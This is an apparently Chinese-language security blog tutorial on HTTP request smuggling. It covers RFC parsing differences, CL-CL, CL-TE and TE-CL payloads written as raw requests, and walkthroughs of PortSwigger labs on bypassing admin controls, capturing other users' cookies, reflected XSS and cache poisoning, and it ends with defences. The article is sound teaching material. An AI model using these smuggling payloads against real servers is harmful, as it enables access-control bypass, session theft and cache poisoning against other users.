解密協議層的攻擊——HTTP請求走私

最近一直在研究一些比較有意思的攻擊方法與思路,在查閱本地文檔的時候(沒錯,本地,我經常會將一些有意思的文章但是沒時間看就會被我保存pdf到本地),一篇2019年Black hat的議題——HTTP請求走私,進入我的視野,同時我也查閱到在2020 Blackhat中該攻擊手法再次被分析。我對此產生濃厚學習興趣,於是便有了這篇文章。

HTTP請求走私是一種HTTP協議的攻擊利用方法,該攻擊產生的原因在於HTTP代理鏈中HTTP Server的實現中存在不一致的問題。

時間線

  • 2004年, @Amit Klein提出 HTTP Response Splitting 技術,爲HTTP Smuggling攻擊雛形;

  • 2005年, 第一次被@Watchfire所提出, 並對其進行了詳細介紹;

  • 2016年, DEFCON 24上,@regilero在他的議題—— Hiding Wookiees in HTTP 中在對前面報告進行豐富與擴充;

  • 2019年, Blackhat USA上,PortSwigger的@James Kettle在其議題—— HTTP DESYNC ATTACKS SMASHING INTO THE CELL NEXT DOOR 中對當前網絡環境進行了分析,同時在其利用上加入chunked技術,對現有攻擊面進行了拓展;

  • 2020年, Blackhat USA上,@Amit Klein在其議題—— HTTP Request Smuggling in 2020 中最新變種手法進行分析,同時對各類環境場景下進行了分析。

漏洞利用場景分析

HTTP協議請求走私並不像其他web攻擊手法那麼直觀,而是在更加複雜的網絡環境中,因不同服務器基於不同的RFC標準實現的針對HTTP協議包的不同處理方式而產生的一種安全風險。

在對其漏洞進行分析前,首先需要了解目前被廣泛使用的HTTP 1.1協議特性——Keep-Alive、Pipeline技術。

簡單來說,在HTTP 1.0及其以前版本的協議中,在每次進行交互的時候,C/S兩端都需要進行TCP的三次握手鍊接。而如今的web頁面大部分主要還是由大量靜態資源所組成。如果依然按照HTTP 1.0及其以前版本的協議設計,會導致服務器大量的負載被浪費。於是在HTTP 1.1中,增加了Keep-Alive、Pipeline技術。

KEEP-ALIVE

根據RFC7230規範中 section-6.3 可以得知,HTTP 1.1中默認使用persistent connections方式。其實現手法是在HTTP通信包中加入Connection: Keep-Alive標識:在一次HTTP通信後不會關閉TCP連接,而在後續相同目標服務器請求中複用該空閒的TCP通道,避免了由於新建TCP連接產生的時延和服務器資源消耗,提升用戶資源訪問速度。

PIPELINE

而在Keep-Alive中後續又有了Pipeline機制,這樣客戶端就可以像流水線一樣不用等待某個包的響應而持續的向服務器發包。而服務器也會遵循先進先出原則對客戶端請求進行響應。

如圖,我們可以看到相比於no pipelining模式,pipelining模式下服務器在響應時間上有了很大的提升。

現如今,爲了提高用戶瀏覽速度、加強服務穩定性、提升使用體驗以及減輕網絡負擔。大部分廠商都會使用CDN加速服務或負載均衡LB等部署業務。當用戶訪問服務器靜態資源時,將直接從CDN上獲取詳情,當存在真正服務器交互時,纔會與後端服務器產生交互。如圖所示:

但是,該模式中reverse proxy部分將長期與back-end部分通信,一般情況下這部分連接會重用TCP通道。通俗來說,用戶流量來自四面八方,user端到reverse proxy端通信會建立多條TCP通道,而rever proxy與back-end端通信ip固定,這兩者重用TCP連接通道來通信便順理成章了。

在這種場景下,當不同服務器實現時參考的RFC標準不同時,我們向reverse proxy發送一個比較模糊的HTTP請求時,因爲reverse proxy與back-end基於不同標準進行解析,可能產生reverse proxy認爲該HTTP請求合法,並轉發到back-end,而back-end只認爲部分HTTP請求合法,剩下的多餘請求,便就算是夾帶走私的HTTP請求了。當該部分對正常用戶的請求造成了影響之後,就實現了HTTP走私攻擊。如圖所示:深色爲正常請求,橙色爲走私請求,綠色爲正常用戶請求。一起發包情況下,走私的請求內容被拼接到正常請求中。

CHUNKED數據包格式

分塊傳輸編碼(Chunked transfer encoding) 是超文本傳輸協議(HTTP)中的一種數據傳輸機制,允許 HTTP 的數據可以分成多個部分。

如下圖所示,爲jdcloud.com未進行數據包進行chunked。

當對jdcloud.com進行分塊時,如下圖所示。

常見攻擊

注:後續文章中所提到CL=Content-Length,TE=Transfer-Encoding,如需使用burpsuite進行數據包調試時,需去除Repeater中Update Content-Length選項。

場景1:GET請求中CL不爲0情況

主要指在GET中設置Content-Length長度,使用body發送數據。當然這裏也不僅僅限制與GET請求中,只是GET的理解比較典型,所以我們用在做例子。

RFC7230 Content-Length 部分提到:

For example, a Content-Length header field is normally sent in a POST request even when the value is 0 (indicating an empty payload body). A user agent SHOULD NOT send a Content-Length header field when the request message does not contain a payload body and the method semantics do not anticipate such a body.

在最新的 RFC7231 4.3.1 GET 中也僅僅提了一句:

A payload within a GET request message has no defined semantics; sending a payload body on a GET request might cause some existing implementations to reject the request.

從官方規範文檔可以瞭解到:RFC規範並未嚴格的規範Server端處理方式,對該類請求的規範也適當進行了放鬆,但是也是部分情況。由於這些中間件沒有一個嚴格的標準依據,所以也會產生解析差異導致HTTP Smuggling攻擊。

  • 構造數據包1
GET / HTTP/1.1\\r\\n Host: [example.com](http://example.com)\\r\\n Content-Length: 44\\r\\n
GET /secret HTTP/1.1\\r\\n Host: [example.com](http://example.com)\\r\\n \\r

由於GET請求,服務器將不對Content-Length進行處理,同時因爲Pipeline的存在,後端服務器會將該數據包視爲兩個GET請求。分別爲:

請求——1

GET / HTTP/1.1\r\n
Host: example.com\r\n

請求——2

GET /secret HTTP/1.1\r\n
Host: example.com\r\n

這就導致了請求走私。

場景2:CL-CL

在RFC7230的第 3.3.3 節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection. If this is a response message received by a proxy, the proxy MUST close the connection to the server, discard the received response, and send a 502 (Bad Fielding & Reschke Standards Track [Page 32] RFC 7230 HTTP/1.1 Message Syntax and Routing June 2014 Gateway) response to the client. If this is a response message received by a user agent, the user agent MUST close the connection to the server and discard the received response.

但是某些服務器並沒遵循規範進行實現,當服務器未遵循該規範時,前後服務器都不會響應400。可能造成代理服務器使用第一個Content-Length獲取長度,而後端按照第二個Content-Length獲取長度。

  • 構造數據包
POST / HTTP/1.1\r\n 
Host: example.com\r\n
Content-Length: 8\r\n 
Content-Length: 7\r\n
12345\r\n a


這個時候,當後端服務器接受到數據包時,Content-Length長度爲7。實際上接受到的body爲12345\r\n,而我們前面所提到的,代理服務器會與後端服務器重用TCP通道,這個時候a就會拼接到下一個請求。這個時候如果存在一個用戶發起GET請求。則該用戶GET請求實際爲:

aGET / HTTP/1.1\r\n
Host: example.com\r\n

同時該用戶也會收到一個類似aGET request method not found的報錯響應,其實這樣就已經實現了一次HTTP協議走私攻擊,對正常用戶造成了影響,而且後續可以擴展成類似於CSRF的攻擊方式。

但是兩個Content-Length這種請求包還是太過於理想化了,一般的服務器都不會接受這種存在兩個請求頭的請求包,但是在RFC2616的第 4.4 節中,規定:

The transfer-length of a message is the length of the message-body as it appears in the message; that is, after any transfer-codings have been applied. When a message-body is included with a message, the transfer-length of that body is determined by one of the following (in order of precedence):

If a Transfer-Encoding header field (section 14.41) is present and has any value other than "identity", then the transfer-length is defined by use of the "chunked" transfer-coding (section 3.6), unless the message is terminated by closing the connection.

也就是說,當Content-Length與Transfer-Encoding同時被定義使用時,可忽略Content-Length。也就是說當Transfer-Encoding的加入,兩個Content-Length並不影響代理服務器與後端服務器的響應。

場景3:CL-TE

這裏的情況是指代理服務器處理Content-Length,後端服務器會遵守RFC2616的規定,處理Transfer-Encoding的情況(這裏也就是場景2後邊所提到的情況)。

  • 構造數據包
POST / HTTP/1.1\r\n
 Host: example.com\r\n
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
 Accept-Language: en-US,en;q=0.5\r\n
 Connection: keep-alive\r\n
 Content-Length: 6\r\n
 Transfer-Encoding: chunked\r\n
 \r\n
0\r\n
\r\n
G


  • 因前後服務器規範不同,解析如下:

請求——1 (代理服務器的解析)

POST / HTTP/1.1\r\n
 Host: example.com\r\n
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
 Accept-Language: en-US,en;q=0.5\r\n
 Connection: keep-alive\r\n
 Content-Length: 6\r\n
 Transfer-Encoding: chunked\r\n
 \r\n
0\r\n
\r\n
G

請求——2 (代理服務器的解析)

G

其中G被留在緩存區中,當無其他用戶請求時候,該數據包會不會產生解析問題,但TCP重用情況,當一個正常請求過來時候。將出現如下情況:

GPOST / HTTP/1.1\r\n
Host: example.com\r\n
....

這個時候HTTP包,再一次通過TCP通道進行走私。

場景4:TE-CL

即代理服務器處理Transfer-Encoding請求,後端服務器處理Content-Length請求。

  • 構造數據包
POST / HTTP/1.1\r\n
 Host: example.com\r\n
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
 Accept-Language: en-US,en;q=0.5\r\n
 Content-Length: 4\r\n
 Transfer-Encoding: chunked\r\n
 \r\n
 12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

由於Transfer-Encoding遇到0\r\n\r\n才結束解析。此時後端將解析Content-Length,真正到達後端數據將爲:

POST / HTTP/1.1\r\n
Host: example.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Content-Length: 4\r\n
\r\n
12\r\n

同時將出現第二個數據包:

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

當收到存在兩個請求頭的請求包時,前後端服務器都處理Transfer-Encoding請求頭,這確實是實現了RFC的標準。不過前後端服務器畢竟不是同一種,這就有了一種方法,我們可以對發送的請求包中的Transfer-Encoding進行某種混淆操作(這裏主要指Content-Length),從而使其中一個服務器不處理Transfer-Encoding請求頭。從某種意義上還是CL-TE或者TE-CL。

  • 構造數據包
POST / HTTP/1.1\r\n
Host: example.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n


攻擊場景分析

使用PortSwigger的實驗環境環境進行實際攻擊演示。

複用TCP進行管理員操作

*靶場鏈接:

https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

實驗目的:訪問admin頁,並利用認證對carlos用戶進行刪除。

  • SETP 1、因直接訪問/admin目錄被提示攔截,同時題目提示CL.TE。這裏通過構造CL.TE格式數據包,嘗試訪問。/admin路由。

  • SETP 2、訪問提示管理員界面只允許爲本地用戶訪問,嘗試直接訪問localhost,並獲取到刪除用戶路由地址。

  • SETP 3、通過構造請求訪問即可,最終再次訪問/admin顯示頁面已經沒有刪除carlos用戶選項。

結合業務獲取用戶請求包-1

*鏈接:

https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

There's an admin panel at /admin, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

實驗目的同上,不過這裏在前端服務器做了限制。不支持chunked。同時前端到後端做了檢查,在headers中自定義了一個類似於X-Forwarded-For的頭。

  • SETP1、通過頁面search處直接構造走私數據包,在頁面返回中間服務器到後端服務器數據包內容(走私數據包長度當前爲200,若實際場景中顯示不全則可通過增加CL長度解決),獲取到X-uNiqsg-Ip頭。同時,這裏之所以選擇search處,主要是因爲該處在頁面存在輸出。

  • SETP2、通過僞造同樣請求發包即可。

結合業務獲取用戶請求包-

*鏈接:

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to be stored in the application. Then retrieve the next user's request and use the victim user's cookies to access their account.

實驗目的:通過寫頁面的方式,獲取下一個請求數據包中cookie數據。

  • SETP1、發現post?postId=路由下存在寫頁面操作,通過修改數據包。

  • SETP2、訪問當前頁面查看website處即可獲取到下一個請求包的數據。(這裏同樣也可以控制下一個請求包數據在評論區,只需將最後一個評論參數comment放至最後即可)

反射XSS

*鏈接:

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

The application is also vulnerable to _reflected XSS _via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).

應用場景:當業務存在反射型XSS時,可通過緩存投毒的方式在其他用戶頁面寫入髒數據。

SETP1、 進入任意評論區發現頁面存在userAgent回顯,通過走私協議修改userAgent即可。

進行緩存投毒

*鏈接:

https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.

To solve the lab, perform a_** request smuggling** _attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.

應用場景:劫持下一用戶請求頁面。(實際場景中可劫持跳轉至釣魚等頁面)

  • SETP1、緩存注入修改Host爲惡意請求。

關於防禦

從前面的案例我們可以看到HTTP請求走私的危害性,那麼如何防禦呢?

  • 禁用代理服務器與後端服務器之間的TCP連接重用。

  • 使用HTTP/2協議。

  • 前後端使用相同的服務器。

但是這些修復方法又存在一些現實困難:

  • HTTP/2推行過於困難,儘管HTTP/2兼容HTTP/1.1。

  • 取消TCP重用將增大服務器負載,服務器資源喫不消。

  • 使用相同的服務器,在一些廠商其實也很難實現。其主要原因還是前後端實現標準不一致的問題。

那麼沒有解決方案了嘛?

其實不然,上雲就是個很好的方案。雲主機、CDN、WAF都統一實現編碼規範,可以很好地避免該類問題的產生。

參考鏈接

*https://media.defcon.org/DEF CON 24/DEF CON 24 presentations/DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdf

*https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

*https://regilero.github.io/english/security/2019/10/17/securityapachetrafficserverhttp_smuggling/

*https://paper.seebug.org/1048

*https://tools.ietf.org/html/rfc2616

*http://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/

*https://tools.ietf.org/html/rfc7230

*https://tools.ietf.org/html/rfc7231

推薦閱讀

歡迎點擊【京東科技】,瞭解開發者社區

更多精彩技術實踐與獨家乾貨解析

歡迎關注【京東科技開發者】公衆號

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章